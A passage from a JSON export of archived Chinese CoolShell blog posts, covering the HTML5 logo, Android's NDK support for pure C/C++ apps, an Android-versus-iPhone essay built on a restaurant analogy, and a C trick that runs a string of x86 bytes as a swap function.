    "content": "<html><body><p></p>\n<p style=\"text-align: left;\">2011年1月19日，W3C发布了HTML5的log，打开<a href=\"http://www.w3.org/html/logo/\" target=\"_blank\">W3C的页面</a>，下在的图片印入眼前。我的第一感觉，就像是看到了小时候看的八一电影制片产的电影。这分明是号召全世界的无产Web程序员们团结起来，不畏艰难，不怕牺牲，一定要把HTML5的革命事业进行到底！<img alt=\"\" class=\"aligncenter size-medium wp-image-3569\" height=\"178\" src=\"../wp-content/uploads/2011/01/html5-logo-1-300x178.jpg\" title=\"HTML 5 Logo\" width=\"300\"/></p>\n<p style=\"text-align: left;\">所以，请各位Web程序员不但在你们的HTML5的网页上加上下面的徽章（关于各个徽章的含义，请参看<a href=\"http://www.elviscai.com/view/html5-logo-released/\" target=\"_blank\">这里</a>）</p>\n<p style=\"text-align: left;\"><span id=\"more-3561\"></span></p>\n<p style=\"text-align: center;\"><a href=\"http://www.w3.org/html/logo/\" target=\"_blank\" title=\"W3C HTML5 Logo\"><img alt=\"HTML5 Powered with Connectivity / Realtime, CSS3 / Styling, Device Access, Graphics, 3D &amp; Effects, Multimedia, Performance &amp; Integration, Semantics, and Offline &amp; Storage\" height=\"64\" src=\"http://www.w3.org/html/logo/badge/html5-badge-h-connectivity-css3-device-graphics-multimedia-performance-semantics-storage.png\" title=\"HTML5 Powered with Connectivity / Realtime, CSS3 / Styling, Device Access, Graphics, 3D &amp; Effects, Multimedia, Performance &amp; Integration, Semantics, and Offline &amp; Storage\" width=\"357\"/></a></p>\n<p style=\"text-align: left;\">更重要的是，在你们的代码里加上这样的注释：</p>\n<p style=\"text-align: left;\">\n</p><pre class=\"EnlighterJSRAW\">\n&lt;!--\n.... This website is built in HTML5 ....\n...       ..... ......... ....... ......\n..     MM  MM NMMMMM MMM MMM..MM  . ....\n.      MMMMMM...MM ..MMMMMMM..MM. ......\n.      MM77MM...MM . MM.M.MM..MM........\n.      MM  MM   MM   MM.  MM..MMMMM.....\n.             . .   ....................\n. . ================================....\n.   7777777777777777777777777777777+....\n.   7777777777777777IIIIIIIIIIII777.....\n.   7777777777777777I77777I7I777777.....\n.   7777777777777777I777I7I7I777777.....\n. ..777777,,,,,,,,,,.........,7I777.....\n. ..=77777,,,,,,,,,,..   .. .+II777...\n  ...77777,,,,777777777777777II7777.....\n  . .77777,,,,777777IIIIIIIIIIII77? ..\n  ...77777,,,,777777IIIIIIIIIIII77:.....\n  ...77777:,,,,,,,,,        .I7777.\n  ...77777?,,,,,,,,,... ... .II777. ...\n  .. 777777777777777IIII=   .II777.  .\n  .. I77777777777777IIII....~II777.. .\n  ...,77777,,,,77777IIII    III77$   .\n. ....77777,,,,77777IIII    III777\n. ....77777,,,,,,,,,... ... III77,. ...\n. ....77777,,,,,,,,,       .III77.\n  ..  7777777777,,,,...=7IIIII777.. ....\n  ....$7777777777777IIIIIIIIII777    .\n  ....I7777777777777IIIII7I777777.. ....\n  .... .7777777777777777777777$~... ....\n  ...     ...~$777777777$7. ....... ....\n  ...  .  .........+....................\n  ...     ............ .  . .. .  . .. .\n--&gt;\n</pre>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12206.html\"><img alt=\"HTML6 展望\" height=\"150\" src=\"../wp-content/uploads/2014/12/html6-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12206.html\">HTML6 展望</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9666.html\"><img alt=\"浏览器的渲染原理简介\" height=\"150\" src=\"../wp-content/uploads/2013/05/Render-Process-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9666.html\">浏览器的渲染原理简介</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6840.html\"><img alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" height=\"150\" src=\"../wp-content/uploads/2012/03/css-layouts-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6840.html\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5537.html\"><img alt=\"一些文章资源和趣闻\" height=\"150\" src=\"../wp-content/uploads/2011/11/stackparts.com_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5537.html\">一些文章资源和趣闻</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5576.html\"><img alt=\"那些曾伴我走过编程之路的软件\" height=\"150\" src=\"../wp-content/uploads/2011/10/00.QuickBasic_PDS_IDE-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5576.html\">那些曾伴我走过编程之路的软件</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3561.html\">HTML5 logo 发布</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-1-24 Android将允许纯C_C++开发应用.html",
    "content": "<html><body><p>对于Android，长期以来，我一直有两件事搞不懂，</p>\n<ul>\n<li>一个是为什么Android要选用Java。对于嵌入式开发，CPU和内存都很宝贵，居然还使用Java。</li>\n<li>一个是为什么Android的<a href=\"http://developer.android.com\" target=\"_blank\">开发站点</a>要被墙。这只是一个技术网站啊。</li>\n</ul>\n<p>最近，在一个Android<a href=\"http://android-developers.blogspot.com/2011/01/gingerbread-ndk-awesomeness.html\" target=\"_blank\">开发人员的Blog</a>上证实了在NDK r5使用C/C++进行开发。（以前，Android 对C/C++开发的支持仅限于用C/C++开发动态链接库，然后在Java中以JNI的形式来调用）现在，你可以用纯C/C++开发了（参看下面的程序代码）。还有一段<a href=\"http://developer.android.com/reference/android/app/NativeActivity.html\" target=\"_blank\">完整的代码示例在这里</a>（墙，还有XML的manifest，<a href=\"https://coolshell.cn/articles/3498.html\" target=\"_blank\">又见XML</a>）。看来，Google终于明白为什么使用Android的手机（如：Moto, 三星、索爱和HTC）的触摸体验远远不及object C搞出来的iPhone。</p>\n<pre class=\"EnlighterJSRAW\">void android_main(struct android_app* state) {\n    // Make sure glue isn't stripped.\n    app_dummy();\n\n    // loop waiting for stuff to do.\n    while (1) {\n        // Read all pending events.\n        int ident;\n        int events;\n        struct android_poll_source* source;\n\n        // Read events and draw a frame of animation.\n        if ((ident = ALooper_pollAll(0, NULL, &amp;events,\n                (void**)&amp;source)) &gt;= 0) {\n            // Process this event.\n            if (source != NULL) {\n                source-&gt;process(state, source);\n            }\n        }\n        // draw a frame of animation\n        bringTheAwesome();\n    }\n}</pre>\n<p>我个人估计有两个原因为什么Google回头支持C/C++了，</p>\n<ol>\n<li>Google开始觉得自己整的JVM在性能上可以全面超越传统JVM，并接近C/C++，现在发现搞不定了。</li>\n<li>Google发现Java的程序员不像C/C++程序员那样注重程序的性能和效率，开发App太耗CPU和内存。</li>\n</ol>\n<p>于是只好转回支持C/C++。<strong>本来就是用C/C++写出来的Android嘛，居然不能用C/C++而只能用Java，真是太侮辱C/C++了</strong>。最后，只希望Google并不是又整了一个C/C++版的Dalvik虚拟机，不然就真是侮辱到极点了。</p>\n<p><em><span style=\"color: #800000;\">——— 更新 2011/01/24 ————</span></em></p>\n<p>谢谢大家对这篇文章的评论，挺有意思的，欢迎讨论，我把我的回复更新在下面。不一定对，仅供大家参考。</p>\n<p><span id=\"more-3549\"></span></p>\n<p>Java的学习成本低，开放性好，兼容性也高，我不否认（但请大家也别否认C/C++的效率要比Java要高。而C/C++的程序员在普遍上要比Java程序员更注意性能和效率）。这应该是Andorid的一开始的定位，可见，Google关注的是程序员，而不是用户。现在转回支持C/C++必然有他的原因，如果不是性能上的原因。那么就请大家分析一下别的原因。</p>\n<p>Android本来就是用C/C++写的，要跨平台，首先是Android自己跨平台。就像Linux一样，跨平台的首先是Linux，应用开发人员只需要符合Linux的API就OK了。JVM带来的便利只是无需重新编译（就算是无需重新编译，对于开发人员来说也要去那个平台做测试的，因为不同的平台的JVM同样是不一样的）。在Native平台上编译的成本其实并不高，这个编译过程完全可以在部署的时候自动化。</p>\n<p>有人说，Java的开发成本比C/C++低，但这和语言没有关系，这其实和封装程度有关系。C/C++同样可以封装得很好。而且，C/C++的程序员比JAVA程序来说，天生就对内存和性能要敏感的多。这更有利于在手机这样资源不足的平台上做开发。</p>\n<p>尤其对于像手机这样的时尚终端来说，在用户体验上花的成本要比在开发人员上花成本要大得多的多。我以为，Google 的Android 更多的关注了程序员，而不是用户。而iPhone更多的关注了用户，也让程序员在开发过程上受到了一些牺牲（iPhone的做法是如果程序员的程序要上App Store，先交99美刀的代码审查费，就像申请美国签证一样），但是，iPhone的程序员虽然在开发的方便上有一些牺牲，但是从收入上却得到了保障。最新的消息是苹果已向开发者支付20亿美元 音乐供应商分成达120亿美元。在《<a href=\"https://coolshell.cn/articles/3363.html\" target=\"_blank\">偷了世界的程序员</a>》中对此有充分的论述。</p>\n<p><span style=\"color: #800000;\">最后，请大家思考 几个问题——</span></p>\n<ul>\n<li><span style=\"color: #800000;\">Android支持C/C++是为什么？如果是为了程序效率，那么这又是为什么？</span></li>\n<li><span style=\"color: #800000;\">是开发人员更重要，还是用户更重要？（注意：我说的是“更重要”）</span></li>\n<li><span style=\"color: #800000;\">在当今这种诸如iPhone或Andorid的开发模式下，是完全开放好，还是有适当的封闭好？</span></li>\n<li><span style=\"color: #800000;\">开发和封闭的背后的商业驱动是什么？如何在开放和封闭中权衡用户、开发者、公司和版权商的利益？</span></li>\n</ul>\n<p>苹果公司给出了一个很不错的商业模式。</p>\n<p>（完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12136.html\"><img alt=\"Google Inbox如何跨平台重用代码？\" height=\"150\" src=\"../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4220.html\"><img alt=\"一些有意思的文章和资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4220.html\">一些有意思的文章和资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3806.html\"><img alt=\"Google图片搜索下的的C String\" height=\"150\" src=\"../wp-content/uploads/2011/02/C_String-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3806.html\">Google图片搜索下的的C String</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2608.html\"><img alt=\"Google App Inventor \" height=\"150\" src=\"../wp-content/uploads/2010/07/androidappinventor-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2608.html\">Google App Inventor </a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1152.html\"><img alt=\"关于 Chrome OS 的一些推论\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1152.html\">关于 Chrome OS 的一些推论</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22398.html\"><img alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" height=\"150\" src=\"../wp-content/uploads/2023/02/chatgpt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22398.html\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3549.html\">Android将允许纯C/C++开发应用</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-1-25 食客还是大厨.html",
    "content": "<html><body><p><strong><strong>（请勿将本文用于商业用途，转载时注明作者和出处）</strong></strong></p>\n<p>昨天我在文章《<a href=\"https://coolshell.cn/articles/3549.html\" target=\"_blank\" title=\"Android将允许纯C/C++开发应用\">Android将允许纯C/C++开发应用</a>》中发表了一些“很不中听”的观点，在我早晨上班刚打开电脑的时候，Gtalk上同学就发来了一条信息“<span style=\"color: #800080;\">android  为啥不用C/C++的原因是，android是开放式系统，为了能够跨平台。如果整回C/C++，那么windows  mobile就是前车之鉴。</span>”，于是和同学展了争论，同学的意思是Java是正确的，在硬件上的表现也将是很出色的，而且准入门槛低，最重要的是跨平台，跨平台是恶梦，而硬件上性能的问题在未来不是问题。iPhone是单一平台，所以不需要考虑跨平台。</p>\n<p>而在我的博文后面上也有许多的讨论，<a href=\"http://sd.csdn.net/a/20110124/290717.html\" target=\"_blank\">在CSDN上</a>也有一些，大家可以去看看。<strong>很多朋友都谈了谈为什么Java要比C++要好的理由，很多很多，大家可以去看看，我觉得挺好的</strong>。不过后来，我更新了一下我的文章，留下了几个让大家思考的问题，我希望大家都看看。</p>\n<p>在这里，我想和大家说说技术之上的东西。</p>\n<p>——————————————正文分割线——————————————</p>\n<p>在绝大多数的评论中，我看到了大家都是站在技术开发者的角度在讨论。我想这和Google的Android犯的是同一个毛病，那就是其注重了“程序员”，而不是“用户”。就像是，Unix是为程序员开发，Java 也是为程序员的跨平台难问题开发，而Windows是为用户开发，iPhone也是为用户开发。也许，我们认为，改进了程序员的开发体验后，能迸发出程序员强大的生产力，进而增加满足用户需求的能力。不过，我想说的是，<strong>这件事的初衷是好的，但事实上程序员是永远不懂用户的</strong>。</p>\n<p><span id=\"more-3589\"></span></p>\n<p>就像大家在讨论Android和Java的关系时，仅在谈跨平台，其实，跨平台关我最终用户屁事，开不开放并我最终用户P事。甚至，手机里装的是Linux还是Android还是Win Phone7还是Symbian，我做为一个用户我统统不关心，什么Java，还是C++，管我球事。作为一个程序员，如果你想不通这个观点的话，那你就去想想，你上饭馆点菜时，你会关心你点的菜是用什么样的锅碗瓢盆来盛，用什么样的燃料来做，什么样的刀来切，长在什么样的地，浇了什么样的肥……如果你还想不通的话，请看下面的例子：</p>\n<p>有一天，Google告诉所有的大厨，从我们发布Android开始，你们做菜就简单了，这是一个跨平台的烧菜系统，以后，作为厨师的你，做菜再也不用关心是用炒锅，蒸锅，煮锅，砂锅，电饭锅，平底锅，也不用关心做的是西餐还是中餐，我们推出的“虚拟锅”将屏蔽这些硬件和技术细节，以后，你面对的只有一口锅。当然，对于这个虚拟锅，你需要使用一种新型的叫Java锅勺。Java锅勺是强大的，容易的。（然而，过了几年后，他们却推出了传统锅勺）对此，一堆大厨，吵啊吵啊的，大家都在争论锅的好坏。</p>\n<p>来饭馆吃饭的食客说，关我屁事，都麻利儿地赶快给我上菜！给我好吃的！（<span style=\"color: #808080;\">到这里，我希望你看懂了，如果你没有看懂的话，就此打住，后面的对你就太深了</span>）</p>\n<p>当然，用户并不单单只是着迷于好吃的，还有好的服务和体验！程序员们管这个叫用户体验。不过，如果餐馆都关注大厨们做菜的体验了，很有可能会怠慢了用户体验。餐馆负责人吆喝着，我们的餐馆是跨平台的，是开放的，就是说，任何都可以在我们这里做吃的买给你。食客们说，什么？什么人都可以在你的餐馆里做菜？你搞错没有啊？！餐馆负责人说，这样我们可以吸引到更好的更优秀的大厨，能做出更优秀的菜，有的菜品还是其它餐馆提供的。食客们说，那可以试试。然后，当食客上桌的时候，他们发现不同的菜居然有不同的服务，而且点菜的流程也不一样，不过大家都号称自己有最好的用户体验和服务。此时，食客们反而犹豫了。而各位大厨在厨房津津乐道着自己的做菜体验，而没有挣到一分钱。餐馆负责人还继续向食们说：我们有四个订餐电话，不同的订餐电话可以订到不同的菜，以后这样的订餐电话会更多。</p>\n<p>这个时候，一家叫iPhone的餐馆出现了，用户体验非常好，服务也很到位，食客们从入座点菜和进餐的过程都非常的流畅和风格统一，都相当的简单。食客们说，你们的这些菜品是怎么来的？iPhone餐厅负责人说，我们厨房对大厨们其实也是开放的，不过，厨房里的硬件和烹饪器具都是固定而不能修改的，而且，他们要想在这里做菜的话，每年得交给我们99美元的审核费用，我们严格他们的做菜工序，并保证用户的体验一致，我们的收入会和这些厨师分成，特别是那些有秘方的厨师将会分得更多。我们就像麦当劳一样，加盟我们的人有很多，不过我们所有店面的风格和用户点餐的过程完全一致，方便而服务优质。当然，我们的收费是高一点，但在我们这里不会出现任何的混乱。对于食客来说，虽然有人抱怨iPhone餐馆的只有一个服务生（单进程），但是，食客对该餐馆的服务表示很放心，体验也没得说，流畅完美简单一致。</p>\n<p><em><span style=\"color: #800000;\"><strong>—–更新：2011/01/26—–</strong></span></em></p>\n<p>跨不跨平台，开不开放，一点都不关用户的事，那是程序员的事。但用户的体验很关用户的事。<strong>用户的体验包括两方面，一方面是技术所带来的功能体验，另一方面是服务体验</strong>。Android和iPhone的差别是，Android只关注开发人员的体验和功能的体验，并没有服务的体验，而iPhone把功能和服务的体验都打包了。Android选择走什么样的路无所谓，要打赢这场战争，Android一定要学会从技术向服务的过渡，否则，就开发而言，也就是吸引一下程序员和产商罢了，其对用户没有任何吸引力。</p>\n<p>但凡是走这条的，都很有问题（用户和服务跟不上，全部玩完，Linux的前期基本如此）</p>\n<ul>\n<li><strong>产品 -&gt; 开发人员 -&gt; 产商 -&gt; 用户 -&gt; 服务</strong>（???）</li>\n</ul>\n<p>而有些公司选择了这条路 （产品和服务先行，抢占用户市场相当快，比如Windows，IBM）</p>\n<ul>\n<li><strong>产品 + 服务 -&gt; 用户 -&gt; 开发人员 + 运营代理</strong></li>\n</ul>\n<p>我不认为Apple的经验无法复制，而是这样的模式很多很多，<strong>这个世界上有很多IT公司做到最后才发现，只有把产品和服务一同打包，才是用户想要的</strong>。</p>\n<p>——————————————————</p>\n<p>这就是<a href=\"https://coolshell.cn/articles/3363.html\" target=\"_blank\">Apple的简单之道</a>，上述内容素材取材于我和我老婆的对话（我老婆是文科，对编程不懂，她正是我了解最终用户的对象，也是我<a href=\"https://coolshell.cn/articles/3236.html\" target=\"_blank\">锻炼沟通</a>的对象）。下面是相关原始对话：</p>\n<p><strong>我</strong>：问个问题，如果有两家餐馆，你会先那家？</p>\n<ul>\n<li>第一家餐馆是开放的，怎么个开放呢？厨师可能是任何想做菜的人，有做的好的，也有做不好的。餐馆的厨房里的配置也是各式各样的，厨师甚至可以自带设备，反正，什么样的厨房用具都支持。另外，该餐馆有四个订餐电话，不过，不同的订餐电话都不一定都订到菜单上所有的菜，因为这个餐馆不但把厨房给开放出去了，订餐的方式也开放出去了。进餐体验方面，不同的分店有不同的样子。</li>\n</ul>\n<ul>\n<li>第二家餐馆是封闭的，不过他也对外面的厨师开放，并和厨师一同分成。厨师里的用具是餐馆定制好的，厨师要做菜，必需先交100美金的审核费，餐馆派专人审核厨师做的每一道菜，包括工序。每个餐厅的环境非常友好，也很简单，而且能让人感到非常不错的进餐体验，所有的分店都是一样。订餐电话只有一个，可以完成一键订餐。当然，第二家店要贵点。</li>\n</ul>\n<p><strong>老婆</strong>：你说的第一家就是那种像“大食代”的各种小吃拼起来的地儿吧？第二家就是像麦当劳， 必胜客，或是一些正规地像“海底捞”、“江南春”这样的店吧。第一家的店么就是顺便吃吃，要真正吃东西，还是要去第二种店。老公，难得你今天请我吃饭，我看就吃你说的第二种吧。（我晕，又把自己给绕进去了）</p>\n<p>——————————————正文分割线——————————————</p>\n<p>P.S. 有的朋友说我是C/C++出生，就是看不起Java。这样说我太小看我了，我的文章风格从来都是以一种调侃的方式，因为我觉得这样的文章会比那些枯燥的技术文章更有意思。我调侃C++和程序员的文章不比调侃Java要少，我对C++的观点从来都是C++是一门很不成熟的半成品语言！Java则要比它成熟的多得多，不过Java的跨平台和性能上的确是有很多东西可以调侃。</p>\n<p><strong>（请勿将本文用于商业用途，转载时注明作者和出处）</strong><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17066.html\"><img alt=\"关于移动端的钓鱼式攻击\" height=\"150\" src=\"../wp-content/uploads/2015/04/phishing-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17066.html\">关于移动端的钓鱼式攻击</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12225.html\"><img alt=\"DHH 谈混合移动应用开发\" height=\"150\" src=\"../wp-content/uploads/2014/12/1053-DHH-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12225.html\">DHH 谈混合移动应用开发</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12136.html\"><img alt=\"Google Inbox如何跨平台重用代码？\" height=\"150\" src=\"../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5089.html\"><img alt=\"10个必需的iOS开发工具和资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5089.html\">10个必需的iOS开发工具和资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4334.html\"><img alt=\"Eclipse开发Android应用程序入门:重装上阵\" height=\"150\" src=\"../wp-content/uploads/2011/04/1_starting_point_full-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4334.html\">Eclipse开发Android应用程序入门:重装上阵</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4270.html\"><img alt=\"Eclipse开发Android应用程序入门\" height=\"150\" src=\"../wp-content/uploads/2011/04/install-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4270.html\">Eclipse开发Android应用程序入门</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3589.html\">食客还是大厨</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-1-26 C语言函数实现的另类方法.html",
    "content": "<html><body><p>在前面看过那个<a href=\"https://coolshell.cn/articles/3540.html\" target=\"_blank\">BT的Javascript程序</a>后，我们来看一个C语言的，相信大家还记得<a href=\"https://coolshell.cn/articles/3445.html\" target=\"_blank\" title=\"输出从1到1000的数\">输出从1到1000的数</a>最后的那个示例，本站还有很多这样的示例，如：<a href=\"https://coolshell.cn/articles/914.html\" target=\"_blank\">变态的hello word</a>，<a href=\"https://coolshell.cn/articles/2420.html\" target=\"_blank\">如何教新手编程</a>，<a href=\"https://coolshell.cn/articles/1724.html\" target=\"_blank\">还有恐怖的C++</a>，在下面这个示例面前，神马都是浮云。</p>\n<p>下面这个示例向你展示了如何写一个swap()函数（把两个值交换），这段代码在我的Linux下的 gcc v4.1.1下可以正确编译通过，连一个Warning都没有，而且可以正确工作。我能说什么？！C语言并不疯狂，疯狂的是程序员。</p>\n<pre class=\"EnlighterJSRAW\">#include &lt;stdio.h&gt;\nvoid(*swap)() = (void(*)()) \"\\x8b\\x44\\x24\\x04\\x8b\\x5c\\x24\\x08\\x8b\\x00\\x8b\\x1b\\x31\\xc3\\x31\\xd8\\x31\\xc3\\x8b\\x4c\\x24\\x04\\x89\\x01\\x8b\\x4c\\x24\\x08\\x89\\x19\\xc3\";\n\nint main(){ // works on GCC 3+4\n        int a = 37, b = 13;\n        swap(&amp;a, &amp;b);\n\n        printf(\"%d %d\\n\",a,b);\n}</pre>\n<p>其实，这种<strong>用字符串来实现函数的方法</strong>，在原理上是很好理解的。</p>\n<p><span id=\"more-3572\"></span></p>\n<p>字符串就是一段内存空间，把一个字符串指针强转成函数指针，那么这个指针所指向的内容就是各种指令，因此，那堆乱七八糟的东西说白了就是汇编。8086的汇编。你可以使用<span style=\"font-family: Consolas, Monaco, 'Courier New', Courier, monospace; line-height: 18px; font-size: 12px; white-space: pre;\">ndisasm</span>来看看。</p>\n<pre class=\"EnlighterJSRAW\"># ruby -e \"print \\\"\\x8b\\x44\\x24\\x04\\x8b\\x5c\\x24\\x08\\x8b\\x00\\x8b\\x1b\\x31\\xc3\\x31\\xd8\\x31\\xc3\\x8b\\x4c\\x24\\x04\\x89\\x01\\x8b\\x4c\\x24\\x08\\x89\\x19\\xc3\\\"\" | ndisasm -u -\n\n00000000  8B442404          mov eax,[esp+0x4]       ; load pointers to two parameters into eax, ebx\n00000004  8B5C2408          mov ebx,[esp+0x8]\n\n00000008  8B00              mov eax,[eax]           ; load values of two parameters from pointers (*eax, *ebx) into eax, ebx\n0000000A  8B1B              mov ebx,[ebx]\n\n0000000C  31C3              xor ebx,eax             ; swap two values (eax, ebx) using xor trick\n0000000E  31D8              xor eax,ebx\n00000010  31C3              xor ebx,eax\n\n00000012  8B4C2404          mov ecx,[esp+0x4]       ; load pointer to param 1 into ecx\n00000016  8901              mov [ecx],eax           ; store swapped value 1 (eax) into param 1 (*ecx)\n\n00000018  8B4C2408          mov ecx,[esp+0x8]       ; load pointer to param 2 into ecx\n0000001C  8919              mov [ecx],ebx           ; store swapped value 2 (ebx) into param 2 (*ecx)\n\n0000001E  C3                ret</pre>\n<p>注意：这段汇编中使用了XOR而不是引入第三个变量来完成了变量值的交换。</p>\n<p>关于XOR的方式，参看下面的示例：</p>\n<pre class=\"EnlighterJSRAW\">a = a^b;\nb=a^b;\na=b^a; </pre>\n<p>或者更为简单的：</p>\n<p><code class=\"EnlighterJSRAW\">a^=b^=a^=b;</code></p>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 